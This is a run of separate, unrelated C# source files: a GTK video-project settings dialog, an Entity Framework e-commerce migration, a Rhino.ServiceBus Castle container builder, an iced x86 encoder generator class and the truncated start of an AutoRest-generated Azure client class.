DVD tab { notebook.RemovePage (PAGE_THEORA); fontbuttons_button.FontName = project.Details.ButtonsFontName; forebuttons_button.UseAlpha = backbuttons_button.UseAlpha = true; forebuttons_button.Alpha = (ushort) (project.Details.ButtonsForeColor.A * 65535); backbuttons_button.Alpha = (ushort) (project.Details.ButtonsBackColor.A * 65535); forebuttons_button.Color = Utils.CairoToGdkColor (project.Details.ButtonsForeColor); backbuttons_button.Color = Utils.CairoToGdkColor (project.Details.ButtonsBackColor); pal_radio.Active = project.Details.Format == VideoFormat.PAL; ntsc_radio.Active = project.Details.Format == VideoFormat.NTSC; fourbythree_radio.Active = project.Details.AspectRatio == AspectRatio.FourByThree; sixteenbynine_radio.Active = project.Details.AspectRatio == AspectRatio.SixteenByNine; thumbnail_store = new ListStore (typeof (string), typeof (int)); // DisplayName, int CellRenderer thumbnail_cell = new CellRendererText (); thumbnail_combo.Model = thumbnail_store; thumbnail_combo.PackStart (thumbnail_cell, true); thumbnail_combo.SetCellDataFunc (thumbnail_cell, Utils.ComboBoxCellFunc); LoadThumbnailsIntoCombo (); // Default thumbnail size int thumbnail = project.Details.ButtonThumbnailSize; int current; more = thumbnail_store.GetIterFirst (out iter); while (more) { current = (int) thumbnail_store.GetValue (iter, COLUMN_ID); if (thumbnail == current) { thumbnail_combo.SetActiveIter (iter); break; } more = thumbnail_store.IterNext (ref iter); } // Margins child = (Gtk.Box.BoxChild) (fourbythree_hbox [fourbythree_radio]); child.Padding = PADDING + OFFSET; child = (Gtk.Box.BoxChild) (sixteenbynine_hbox [sixteenbynine_radio]); child.Padding = PADDING + OFFSET; child = (Gtk.Box.BoxChild) (pal_hbox [pal_radio]); child.Padding = PADDING + OFFSET; child = (Gtk.Box.BoxChild) (ntsc_hbox [ntsc_radio]); child.Padding = PADDING + OFFSET; } else { // Theora tab notebook.RemovePage (PAGE_DVD); resolution_store = new ListStore (typeof (string), typeof (int)); // DisplayName, index to array CellRenderer resolution_cell = new CellRendererText (); resolution_combobox.Model = resolution_store; resolution_combobox.PackStart (resolution_cell, true); resolution_combobox.SetCellDataFunc (resolution_cell, Utils.ComboBoxCellFunc); LoadResolutionIntoCombo (); // Select default item in the combobox list more = resolution_store.GetIterFirst (out iter); while (more) { int idx = (int) resolution_store.GetValue (iter, COL_INDEX); if (ResolutionManager.List[idx].Width == project.Details.Width && ResolutionManager.List[idx].Height == project.Details.Height) { resolution_combobox.SetActiveIter (iter); break; } more = resolution_store.IterNext (ref iter); } child = (Gtk.Box.BoxChild) (resolution_hbox [resolution_label]); child.Padding = PADDING + OFFSET; } // Top margin for the General tab child = (Gtk.Box.BoxChild) (general_vbox [vbox25]); child.Padding = PADDING; // Left margin for controls child = (Gtk.Box.BoxChild) (name_hbox [name]); child.Padding = PADDING; child = (Gtk.Box.BoxChild) (output_dir_hbox [output_dir]); child.Padding = PADDING; } void LoadResolutionIntoCombo () { for (int i = 0; i < ResolutionManager.List.Length; i++) resolution_store.AppendValues (ResolutionManager.List[i].Name, i); } public bool NeedsRepaint { get { return needs_repaint; } } void OnOK (object sender, EventArgs args) { TreeIter iter; project.Details.OutputDir = output_dir.Text; project.Details.Name = name.Text; if (dvd_project == true) // DVD tab { VideoFormat format; if (project.Details.ButtonsFontName != fontbuttons_button.FontName) { project.Details.ButtonsFontName = fontbuttons_button.FontName; needs_repaint = true; } if (project.Details.ButtonsForeColor.Equals (Utils.GdkToCairoColor (forebuttons_button.Color, forebuttons_button.Alpha)) == false) { project.Details.ButtonsForeColor = Utils.GdkToCairoColor (forebuttons_button.Color, forebuttons_button.Alpha); needs_repaint = true; } if (project.Details.ButtonsBackColor.Equals (Utils.GdkToCairoColor (backbuttons_button.Color, backbuttons_button.Alpha)) == false) { project.Details.ButtonsBackColor = Utils.GdkToCairoColor (backbuttons_button.Color, backbuttons_button.Alpha); needs_repaint = true; } if (pal_radio.Active) format = VideoFormat.PAL; else format = VideoFormat.NTSC; if (fourbythree_radio.Active) project.Details.AspectRatio = AspectRatio.FourByThree; else project.Details.AspectRatio = AspectRatio.SixteenByNine; if (format != project.Details.Format) { project.Details.Format = format; needs_repaint = true; } project.Details.SetDvdResolution (); if (thumbnail_combo.GetActiveIter (out iter)) { int size = (int) thumbnail_combo.Model.GetValue (iter, COLUMN_ID); if (size != project.Details.ButtonThumbnailSize) { project.Details.ButtonThumbnailSize = size; needs_repaint = true; } } } else // Theora { if (resolution_combobox.GetActiveIter (out iter)) { int idx = (int) resolution_combobox.Model.GetValue (iter, COL_INDEX); project.Details.SetResolution (ResolutionManager.List[idx].Width, ResolutionManager.List[idx].Height); } } project.Details.SlideshowsFontName = fontslides_button.FontName; project.Details.SlideshowsForeColor = Utils.GdkToCairoColor (foreslides_button.Color, foreslides_button.Alpha); project.Details.SlideshowsBackColor = Utils.GdkToCairoColor (backslides_button.Color, backslides_button.Alpha); } void OnBrowse (object o, EventArgs args) { FileChooserDialog chooser_dialog = new FileChooserDialog ( Catalog.GetString ("Open Location") , null, FileChooserAction.SelectFolder); chooser_dialog.SetCurrentFolder (Environment.GetFolderPath (Environment.SpecialFolder.Personal)); chooser_dialog.AddButton (Stock.Cancel, ResponseType.Cancel); chooser_dialog.AddButton (Stock.Open, ResponseType.Ok); chooser_dialog.DefaultResponse = ResponseType.Ok; chooser_dialog.LocalOnly = false; if(chooser_dialog.Run () == (int) ResponseType.Ok) output_dir.Text = chooser_dialog.Filename; chooser_dialog.Destroy (); } void LoadThumbnailsIntoCombo () { Resolution[] sizes = ThumbnailSizeManager.List; for (int i = 0; i < sizes.Length; i++) { thumbnail_store.AppendValues (sizes[i].Name, i); } } } }
namespace MatreshkaExpress.Domain.Migrations { using System; using System.Data.Entity.Migrations; public partial class AddedSomeEntities : DbMigration { public override void Up() { CreateTable( "dbo.Categories", c => new { Id = c.Guid(nullable: false), Name = c.String(), CreatedOn = c.DateTime(nullable: false), ParentCategory_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Categories", t => t.ParentCategory_Id) .Index(t => t.ParentCategory_Id); CreateTable( "dbo.ProductDetails", c => new { Id = c.Guid(nullable: false), Name = c.String(), CreatedOn = c.DateTime(nullable: false), Category_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Categories", t => t.Category_Id) .Index(t => t.Category_Id); CreateTable( "dbo.ProductDetailValues", c => new { Id = c.Guid(nullable: false), StringValue = c.String(), CreatedOn = c.DateTime(nullable: false), Product_Id = c.Guid(), ProductDetail_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Products", t => t.Product_Id) .ForeignKey("dbo.ProductDetails", t => t.ProductDetail_Id) .Index(t => t.Product_Id) .Index(t => t.ProductDetail_Id); CreateTable( "dbo.Products", c => new { Id = c.Guid(nullable: false), Name = c.String(), Description = c.String(), CreatedOn = c.DateTime(nullable: false), Category_Id = c.Guid(), Seller_Id = c.String(maxLength: 128), File_Id = c.Guid(), MainImage_Id = c.Guid(), Manufacturer_Id = c.Guid(), ProductStatus_Id = c.Int(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Categories", t => t.Category_Id) .ForeignKey("dbo.AspNetUsers", t => t.Seller_Id) .ForeignKey("dbo.Files", t => t.File_Id) .ForeignKey("dbo.Files", t => t.MainImage_Id) .ForeignKey("dbo.Manufacturers", t => t.Manufacturer_Id) .ForeignKey("dbo.ProductStatus", t => t.ProductStatus_Id) .Index(t => t.Category_Id) .Index(t => t.Seller_Id) .Index(t => t.File_Id) .Index(t => t.MainImage_Id) .Index(t => t.Manufacturer_Id) .Index(t => t.ProductStatus_Id); CreateTable( "dbo.Comments", c => new { Id = c.Guid(nullable: false), Text = c.String(), CreatedOn = c.DateTime(nullable: false), CreatedBy_Id = c.String(maxLength: 128), Product_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.AspNetUsers", t => t.CreatedBy_Id) .ForeignKey("dbo.Products", t => t.Product_Id) .Index(t => t.CreatedBy_Id) .Index(t => t.Product_Id); CreateTable( "dbo.Orders", c => new { Id = c.Guid(nullable: false), CreatedOn = c.DateTime(nullable: false), Customer_Id = c.String(maxLength: 128), OrderStatus_Id = c.Int(), Seller_Id = c.String(maxLength: 128), ApplicationUser_Id = c.String(maxLength: 128), ApplicationUser_Id1 = c.String(maxLength: 128), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.AspNetUsers", t => t.Customer_Id) .ForeignKey("dbo.OrderStatus", t => t.OrderStatus_Id) .ForeignKey("dbo.AspNetUsers", t => t.Seller_Id) .ForeignKey("dbo.AspNetUsers", t => t.ApplicationUser_Id) .ForeignKey("dbo.AspNetUsers", t => t.ApplicationUser_Id1) .Index(t => t.Customer_Id) .Index(t => t.OrderStatus_Id) .Index(t => t.Seller_Id) .Index(t => t.ApplicationUser_Id) .Index(t => t.ApplicationUser_Id1); CreateTable( "dbo.OrderPositions", c => new { Id = c.Guid(nullable: false), Quantity = c.Int(nullable: false), Price = c.Decimal(nullable: false, precision: 18, scale: 2), CreatedOn = c.DateTime(nullable: false), Order_Id = c.Guid(), Product_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Orders", t => t.Order_Id) .ForeignKey("dbo.Products", t => t.Product_Id) .Index(t => t.Order_Id) .Index(t => t.Product_Id); CreateTable( "dbo.OrderStatus", c => new { Id = c.Int(nullable: false, identity: true), Value = c.String(), }) .PrimaryKey(t => t.Id); CreateTable( "dbo.Ratings", c => new { Id = c.Guid(nullable: false), Value = c.Int(nullable: false), CreatedOn = c.DateTime(nullable: false), CreatedBy_Id = c.String(maxLength: 128), Product_Id = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.AspNetUsers", t => t.CreatedBy_Id) .ForeignKey("dbo.Products", t => t.Product_Id) .Index(t => t.CreatedBy_Id) .Index(t => t.Product_Id); CreateTable( "dbo.Files", c => new { Id = c.Guid(nullable: false), Name = c.String(maxLength: 100), ContentType = c.String(), Content = c.Binary(), CreatedOn = c.DateTime(nullable: false), Product_Id = c.Guid(), Product_Id1 = c.Guid(), }) .PrimaryKey(t => t.Id) .ForeignKey("dbo.Products", t => t.Product_Id) .ForeignKey("dbo.Products", t => t.Product_Id1) .Index(t => t.Product_Id) .Index(t => t.Product_Id1); CreateTable( "dbo.Manufacturers", c => new { Id = c.Guid(nullable: false), Name = c.String(), Address = c.String(), Phone = c.String(), Email = c.String(), CreatedOn = c.DateTime(nullable: false), }) .PrimaryKey(t => t.Id); CreateTable( "dbo.ProductStatus", c => new { Id = c.Int(nullable: false, identity: true), Value = c.String(), }) .PrimaryKey(t => t.Id); } public override void Down() { DropForeignKey("dbo.ProductDetailValues", "ProductDetail_Id", "dbo.ProductDetails"); DropForeignKey("dbo.Products", "ProductStatus_Id", "dbo.ProductStatus"); DropForeignKey("dbo.ProductDetailValues", "Product_Id", "dbo.Products"); DropForeignKey("dbo.Products", "Manufacturer_Id", "dbo.Manufacturers"); DropForeignKey("dbo.Products", "MainImage_Id", "dbo.Files"); DropForeignKey("dbo.Files", "Product_Id1", "dbo.Products"); DropForeignKey("dbo.Products", "File_Id", "dbo.Files"); DropForeignKey("dbo.Files", "Product_Id", "dbo.Products"); DropForeignKey("dbo.Comments", "Product_Id", "dbo.Products"); DropForeignKey("dbo.Ratings", "Product_Id", "dbo.Products"); DropForeignKey("dbo.Ratings", "CreatedBy_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Products", "Seller_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Orders", "ApplicationUser_Id1", "dbo.AspNetUsers"); DropForeignKey("dbo.Orders", "ApplicationUser_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Orders", "Seller_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Orders", "OrderStatus_Id", "dbo.OrderStatus"); DropForeignKey("dbo.OrderPositions", "Product_Id", "dbo.Products"); DropForeignKey("dbo.OrderPositions", "Order_Id", "dbo.Orders"); DropForeignKey("dbo.Orders", "Customer_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Comments", "CreatedBy_Id", "dbo.AspNetUsers"); DropForeignKey("dbo.Products", "Category_Id", "dbo.Categories"); DropForeignKey("dbo.ProductDetails", "Category_Id", "dbo.Categories"); DropForeignKey("dbo.Categories", "ParentCategory_Id", "dbo.Categories"); DropIndex("dbo.Files", new[] { "Product_Id1" }); DropIndex("dbo.Files", new[] { "Product_Id" }); DropIndex("dbo.Ratings", new[] { "Product_Id" }); DropIndex("dbo.Ratings", new[] { "CreatedBy_Id" }); DropIndex("dbo.OrderPositions", new[] { "Product_Id" }); DropIndex("dbo.OrderPositions", new[] { "Order_Id" }); DropIndex("dbo.Orders", new[] { "ApplicationUser_Id1" }); DropIndex("dbo.Orders", new[] { "ApplicationUser_Id" }); DropIndex("dbo.Orders", new[] { "Seller_Id" }); DropIndex("dbo.Orders", new[] { "OrderStatus_Id" }); DropIndex("dbo.Orders", new[] { "Customer_Id" }); DropIndex("dbo.Comments", new[] { "Product_Id" }); DropIndex("dbo.Comments", new[] { "CreatedBy_Id" }); DropIndex("dbo.Products", new[] { "ProductStatus_Id" }); DropIndex("dbo.Products", new[] { "Manufacturer_Id" }); DropIndex("dbo.Products", new[] { "MainImage_Id" }); DropIndex("dbo.Products", new[] { "File_Id" }); DropIndex("dbo.Products", new[] { "Seller_Id" }); DropIndex("dbo.Products", new[] { "Category_Id" }); DropIndex("dbo.ProductDetailValues", new[] { "ProductDetail_Id" }); DropIndex("dbo.ProductDetailValues", new[] { "Product_Id" }); DropIndex("dbo.ProductDetails", new[] { "Category_Id" }); DropIndex("dbo.Categories", new[] { "ParentCategory_Id" }); DropTable("dbo.ProductStatus"); DropTable("dbo.Manufacturers"); DropTable("dbo.Files"); DropTable("dbo.Ratings"); DropTable("dbo.OrderStatus"); DropTable("dbo.OrderPositions"); DropTable("dbo.Orders"); DropTable("dbo.Comments"); DropTable("dbo.Products"); DropTable("dbo.ProductDetailValues"); DropTable("dbo.ProductDetails"); DropTable("dbo.Categories"); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Messaging; using Castle.Core; using Castle.Core.Configuration; using Castle.MicroKernel.Registration; using Castle.MicroKernel.Resolvers.SpecializedResolvers; using Castle.Windsor; using Rhino.Queues; using Rhino.ServiceBus.Actions; using Rhino.ServiceBus.Config; using Rhino.ServiceBus.Convertors; using Rhino.ServiceBus.DataStructures; using Rhino.ServiceBus.Impl; using Rhino.ServiceBus.Internal; using Rhino.ServiceBus.LoadBalancer; using Rhino.ServiceBus.MessageModules; using Rhino.ServiceBus.Msmq; using Rhino.ServiceBus.Msmq.TransportActions; using Rhino.ServiceBus.RhinoQueues; using ErrorAction = Rhino.ServiceBus.Msmq.TransportActions.ErrorAction; using IStartable = Rhino.ServiceBus.Internal.IStartable; using LoadBalancerConfiguration = Rhino.ServiceBus.LoadBalancer.LoadBalancerConfiguration; namespace Rhino.ServiceBus.Castle { public class CastleBuilder : IBusContainerBuilder { private readonly IWindsorContainer container; private readonly AbstractRhinoServiceBusConfiguration config; public CastleBuilder(IWindsorContainer container, AbstractRhinoServiceBusConfiguration config) { this.container = container; this.config = config; this.config.BuildWith(this); } public void WithInterceptor(IConsumerInterceptor interceptor) { container.Kernel.ComponentModelCreated += model => { if (typeof(IMessageConsumer).IsAssignableFrom(model.Implementation) == false) return; model.LifestyleType = LifestyleType.Transient; interceptor.ItemCreated(model.Implementation, true); }; } public void RegisterDefaultServices() { if (!container.Kernel.HasComponent(typeof(IWindsorContainer))) container.Register(Component.For<IWindsorContainer>().Instance(container)); container.Register(Component.For<IServiceLocator>().ImplementedBy<CastleServiceLocator>()); container.Register( AllTypes.FromAssembly(typeof(IServiceBus).Assembly) .BasedOn<IBusConfigurationAware>().WithService.FirstInterface() ); foreach (var configurationAware in container.ResolveAll<IBusConfigurationAware>()) { configurationAware.Configure(config, this); } container.Kernel.Resolver.AddSubResolver(new ArrayResolver(container.Kernel)); foreach (var type in config.MessageModules) { if (container.Kernel.HasComponent(type) == false) container.Register(Component.For(type).Named(type.FullName)); } container.Register( Component.For<IReflection>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy<CastleReflection>(), Component.For<IMessageSerializer>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(config.SerializerType), Component.For<IEndpointRouter>() .ImplementedBy<EndpointRouter>() ); } public void RegisterBus() { var busConfig = (RhinoServiceBusConfiguration) config; container.Register( Component.For<IDeploymentAction>() .ImplementedBy<CreateLogQueueAction>(), Component.For<IDeploymentAction>() .ImplementedBy<CreateQueuesAction>(), Component.For<IServiceBus, IStartableServiceBus, IStartable>() .ImplementedBy<DefaultServiceBus>() .LifeStyle.Is(LifestyleType.Singleton) .DependsOn(new { messageOwners = busConfig.MessageOwners.ToArray(), }) .DependsOn(Dependency.OnConfigValue("modules",CreateModuleConfigurationNode(busConfig.MessageModules))) ); } private static IConfiguration CreateModuleConfigurationNode(IEnumerable<Type> messageModules) { var config = new MutableConfiguration("array"); foreach (Type type in messageModules) { config.CreateChild("item", "${" + type.FullName + "}"); } return config; } public void RegisterPrimaryLoadBalancer() { var loadBalancerConfig = (LoadBalancerConfiguration) config; container.Register(Component.For<MsmqLoadBalancer, IStartable>() .ImplementedBy(loadBalancerConfig.LoadBalancerType) .LifeStyle.Is(LifestyleType.Singleton) .DependsOn(new { endpoint = loadBalancerConfig.Endpoint, threadCount = loadBalancerConfig.ThreadCount, primaryLoadBalancer = loadBalancerConfig.PrimaryLoadBalancer, transactional = loadBalancerConfig.Transactional })); container.Register( Component.For<IDeploymentAction>() .ImplementedBy<CreateLoadBalancerQueuesAction>() ); } public void RegisterSecondaryLoadBalancer() { var loadBalancerConfig = (LoadBalancerConfiguration) config; container.Register(Component.For<MsmqLoadBalancer>() .ImplementedBy(loadBalancerConfig.LoadBalancerType) .LifeStyle.Is(LifestyleType.Singleton) .DependsOn(new { endpoint = loadBalancerConfig.Endpoint, threadCount = loadBalancerConfig.ThreadCount, primaryLoadBalancer = loadBalancerConfig.PrimaryLoadBalancer, transactional = loadBalancerConfig.Transactional, secondaryLoadBalancer = loadBalancerConfig.SecondaryLoadBalancer, })); container.Register( Component.For<IDeploymentAction>() .ImplementedBy<CreateLoadBalancerQueuesAction>() ); } public void RegisterReadyForWork() { var loadBalancerConfig = (LoadBalancerConfiguration) config; container.Register(Component.For<MsmqReadyForWorkListener>() .LifeStyle.Is(LifestyleType.Singleton) .DependsOn(new { endpoint = loadBalancerConfig.ReadyForWork, threadCount = loadBalancerConfig.ThreadCount, transactional = loadBalancerConfig.Transactional })); container.Register( Component.For<IDeploymentAction>() .ImplementedBy<CreateReadyForWorkQueuesAction>() ); } public void RegisterLoadBalancerEndpoint(Uri loadBalancerEndpoint) { container.Register( Component.For<LoadBalancerMessageModule>() .DependsOn(new {loadBalancerEndpoint}) ); } public void RegisterLoggingEndpoint(Uri logEndpoint) { container.Register( Component.For<MessageLoggingModule>() .DependsOn(new {logQueue = logEndpoint}) ); } public void RegisterMsmqTransport(Type queueStrategyType) { container.Kernel.Register( Component.For<IQueueStrategy>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(queueStrategyType) .DependsOn(new {endpoint = config.Endpoint}), Component.For<IMessageBuilder<Message>>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy<MsmqMessageBuilder>(), Component.For<IMsmqTransportAction>() .ImplementedBy<ErrorAction>() .DependsOn(new { numberOfRetries = config.NumberOfRetries}), Component.For<ISubscriptionStorage>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(typeof(MsmqSubscriptionStorage)) .DependsOn(new { queueBusListensTo = config.Endpoint }), Component.For<ITransport>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(typeof(MsmqTransport)) .DependsOn(new { threadCount = config.ThreadCount, endpoint = config.Endpoint, queueIsolationLevel = config.IsolationLevel, transactional = config.Transactional, consumeInTransaction = config.ConsumeInTransaction, }), AllTypes.FromAssembly(typeof(IMsmqTransportAction).Assembly) .BasedOn<IMsmqTransportAction>() .Unless(x => x == typeof(ErrorAction)) .WithService.FirstInterface() .Configure(registration => registration.LifeStyle.Is(LifestyleType.Singleton)) ); } public void RegisterQueueCreation() { container.Kernel.Register(Component.For<IServiceBusAware>() .ImplementedBy<QueueCreationModule>()); } public void RegisterMsmqOneWay() { var oneWayConfig = (OnewayRhinoServiceBusConfiguration) config; container.Register( Component.For<IMessageBuilder<Message>>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy<MsmqMessageBuilder>(), Component.For<IOnewayBus>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy<MsmqOnewayBus>() .DependsOn(new { messageOwners = oneWayConfig.MessageOwners })); } public void RegisterRhinoQueuesTransport() { var busConfig = config.ConfigurationSection.Bus; container.Register( Component.For<ISubscriptionStorage>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(typeof(PhtSubscriptionStorage)) .DependsOn(new { subscriptionPath = busConfig.SubscriptionPath }), Component.For<ITransport>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy(typeof(RhinoQueuesTransport)) .DependsOn(new { threadCount = config.ThreadCount, endpoint = config.Endpoint, queueIsolationLevel = config.IsolationLevel, numberOfRetries = config.NumberOfRetries, path = busConfig.QueuePath, enablePerformanceCounters = busConfig.EnablePerformanceCounters }), Component.For<IMessageBuilder<MessagePayload>>() .ImplementedBy<RhinoQueuesMessageBuilder>() .LifeStyle.Is(LifestyleType.Singleton) ); } public void RegisterRhinoQueuesOneWay() { var oneWayConfig = (OnewayRhinoServiceBusConfiguration) config; var busConfig = config.ConfigurationSection.Bus; container.Register( Component.For<IMessageBuilder<MessagePayload>>() .ImplementedBy<RhinoQueuesMessageBuilder>() .LifeStyle.Is(LifestyleType.Singleton), Component.For<IOnewayBus>() .LifeStyle.Is(LifestyleType.Singleton) .ImplementedBy<RhinoQueuesOneWayBus>() .DependsOn(new { messageOwners = oneWayConfig.MessageOwners.ToArray(), path = busConfig.QueuePath, enablePerformanceCounters = busConfig.EnablePerformanceCounters }) ); } public void RegisterSecurity(byte[] key) { container.Register( Component.For<IEncryptionService>() .ImplementedBy<RijndaelEncryptionService>() .DependsOn(new { key, }) .Named("esb.security") ); container.Register( Component.For<IValueConvertor<WireEcryptedString>>() .ImplementedBy<WireEcryptedStringConvertor>() .DependsOn(Dependency.OnComponent("encryptionService", "esb.security")) ); container.Register( Component.For<IElementSerializationBehavior>() .ImplementedBy<WireEncryptedMessageConvertor>() .DependsOn(Dependency.OnComponent("encryptionService", "esb.security")) ); } public void RegisterNoSecurity() { container.Register( Component.For<IValueConvertor<WireEcryptedString>>() .ImplementedBy<ThrowingWireEcryptedStringConvertor>() ); container.Register( Component.For<IElementSerializationBehavior>() .ImplementedBy<ThrowingWireEncryptedMessageConvertor>() ); } } }
// SPDX-License-Identifier: MIT // Copyright wtfsckgh@gmail.com // Copyright iced contributors using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Linq; using System.Text; using Generator.Constants; using Generator.Enums; using Generator.Tables; namespace Generator.Encoder { enum InstructionOperand { Register, Memory, Imm32, Imm64, } sealed class InstructionGroup { public List<InstructionDef> Defs { get; } public InstructionOperand[] Operands { get; } public InstructionGroup(InstructionOperand[] operands) { Operands = operands; Defs = new List<InstructionDef>(); } public override string ToString() { var sb = new StringBuilder(); sb.Append(Defs[0].Code.RawName); sb.Append(" - ("); for (int i = 0; i < Operands.Length; i++) { if (i > 0) sb.Append(", "); sb.Append(Operands[i].ToString()); } sb.Append(')'); return sb.ToString(); } } sealed class InstructionGroups { readonly GenTypes genTypes; readonly HashSet<EnumValue> ignoredCodes; public InstructionGroups(GenTypes genTypes) { this.genTypes = genTypes; ignoredCodes = new HashSet<EnumValue>(); foreach (var def in genTypes.GetObject<InstructionDefs>(TypeIds.InstructionDefs).Defs) { if ((def.Flags1 & InstructionDefFlags1.NoInstruction) != 0) ignoredCodes.Add(def.Code); foreach (var opKind in def.OpKindDefs) { switch (opKind.OperandEncoding) { case OperandEncoding.None: case OperandEncoding.NearBranch: case OperandEncoding.Xbegin: case OperandEncoding.AbsNearBranch: case OperandEncoding.FarBranch: case OperandEncoding.SegRSI: case OperandEncoding.SegRDI: case OperandEncoding.ESRDI: ignoredCodes.Add(def.Code); break; case OperandEncoding.Immediate: case OperandEncoding.ImpliedConst: case OperandEncoding.ImpliedRegister: case OperandEncoding.SegRBX: case OperandEncoding.RegImm: case OperandEncoding.RegOpCode: case OperandEncoding.RegModrmReg: case OperandEncoding.RegModrmRm: case OperandEncoding.RegMemModrmRm: case OperandEncoding.RegVvvvv: case OperandEncoding.MemModrmRm: case OperandEncoding.MemOffset: break; default: throw new InvalidOperationException(); } } } } sealed class OpComparer : IEqualityComparer<InstructionOperand[]> { public bool Equals([AllowNull] InstructionOperand[] x, [AllowNull] InstructionOperand[] y) { if (x!.Length != y!.Length) return false; for (int i = 0; i < x.Length; i++) { if (x[i] != y[i]) return false; } return true; } public int GetHashCode([DisallowNull] InstructionOperand[] obj) { int hc = 0; foreach (var o in obj) hc = HashCode.Combine(hc, o); return hc; } } public InstructionGroup[] GetGroups() { var groups = new Dictionary<InstructionOperand[], InstructionGroup>(new OpComparer()); foreach (var def in genTypes.GetObject<InstructionDefs>(TypeIds.InstructionDefs).Defs) { if (ignoredCodes.Contains(def.Code)) continue; foreach (var ops in GetOperands(def.OpKindDefs)) { if (!groups.TryGetValue(ops, out var group)) groups.Add(ops, group = new InstructionGroup(ops)); group.Defs.Add(def); } } var result = groups.Values.ToArray(); Array.Sort(result, (a, b) => { int c = a.Operands.Length - b.Operands.Length; if (c != 0) return c; for (int i = 0; i < a.Operands.Length; i++) { c = GetOrder(a.Operands[i]) - GetOrder(b.Operands[i]); if (c != 0) return c; } return 0; }); return result; static int GetOrder(InstructionOperand op) => op switch { InstructionOperand.Register => 0, InstructionOperand.Imm32 => 1, InstructionOperand.Imm64 => 2, InstructionOperand.Memory => 3, _ => throw new InvalidOperationException(), }; } static IEnumerable<InstructionOperand[]> GetOperands(OpCodeOperandKindDef[] opKinds) { if (opKinds.Length == 0) { yield return Array.Empty<InstructionOperand>(); yield break; } if (IcedConstants.MaxOpCount != 5) throw new InvalidOperationException(); var ops = new InstructionOperand[IcedConstants.MaxOpCount][]; for (int i = 0; i < ops.Length; i++) ops[i] = Array.Empty<InstructionOperand>(); for (int i = 0; i < opKinds.Length; i++) ops[i] = GetOperand(opKinds[i]); foreach (var o0 in ops[0]) { if (opKinds.Length == 1) yield return new[] { o0 }; else { foreach (var o1 in ops[1]) { if (opKinds.Length == 2) yield return new[] { o0, o1 }; else { foreach (var o2 in ops[2]) { if (opKinds.Length == 3) yield return new[] { o0, o1, o2 }; else { foreach (var o3 in ops[3]) { if (opKinds.Length == 4) yield return new[] { o0, o1, o2, o3 }; else { foreach (var o4 in ops[4]) { if (opKinds.Length == 5) yield return new[] { o0, o1, o2, o3, o4 }; else throw new InvalidOperationException(); } } } } } } } } } } static InstructionOperand[] GetOperand(OpCodeOperandKindDef def) { switch (def.OperandEncoding) { case OperandEncoding.Immediate: if (def.ImmediateSize == 64) return new[] { InstructionOperand.Imm64 }; return new[] { InstructionOperand.Imm32 }; case OperandEncoding.ImpliedConst: return new[] { InstructionOperand.Imm32 }; case OperandEncoding.ImpliedRegister: case OperandEncoding.RegImm: case OperandEncoding.RegOpCode: case OperandEncoding.RegModrmReg: case OperandEncoding.RegModrmRm: case OperandEncoding.RegVvvvv: return new[] { InstructionOperand.Register }; case OperandEncoding.RegMemModrmRm: return new[] { InstructionOperand.Register, InstructionOperand.Memory }; case OperandEncoding.SegRBX: case OperandEncoding.MemModrmRm: case OperandEncoding.MemOffset: return new[] { InstructionOperand.Memory }; case OperandEncoding.None: case OperandEncoding.NearBranch: case OperandEncoding.Xbegin: case OperandEncoding.AbsNearBranch: case OperandEncoding.FarBranch: case OperandEncoding.SegRSI: case OperandEncoding.SegRDI: case OperandEncoding.ESRDI: default: throw new InvalidOperationException(); } } } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. namespace Fixtures.AcceptanceTestsAzureBodyDurationNoSync { using System.Linq; using Microsoft.Rest; using Microsoft.Rest.Azure; using Models; /// <summary> /// DurationOperations operations. /// </summary> internal partial class DurationOperations : Microsoft.Rest.IServiceOperations<AutoRestDurationTestService>, IDurationOperations { /// <summary> /// Initializes a new instance of the DurationOperations class. /// </summary> /// <param name='client'> /// Reference to the service client. /// </param> /// <exception cref="System.ArgumentNullException"> /// Thrown when a required parameter is null /// </exception> internal DurationOperations(AutoRestDurationTestService client) { if (client == null) { throw new System.ArgumentNullException("client"); } this.Client = client; } /// <summary> /// Gets a reference to the AutoRestDurationTestService /// </summary> public AutoRestDurationTestService Client { get; private set; } /// <summary> /// Get null duration value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="ErrorException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>> GetNullWithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; 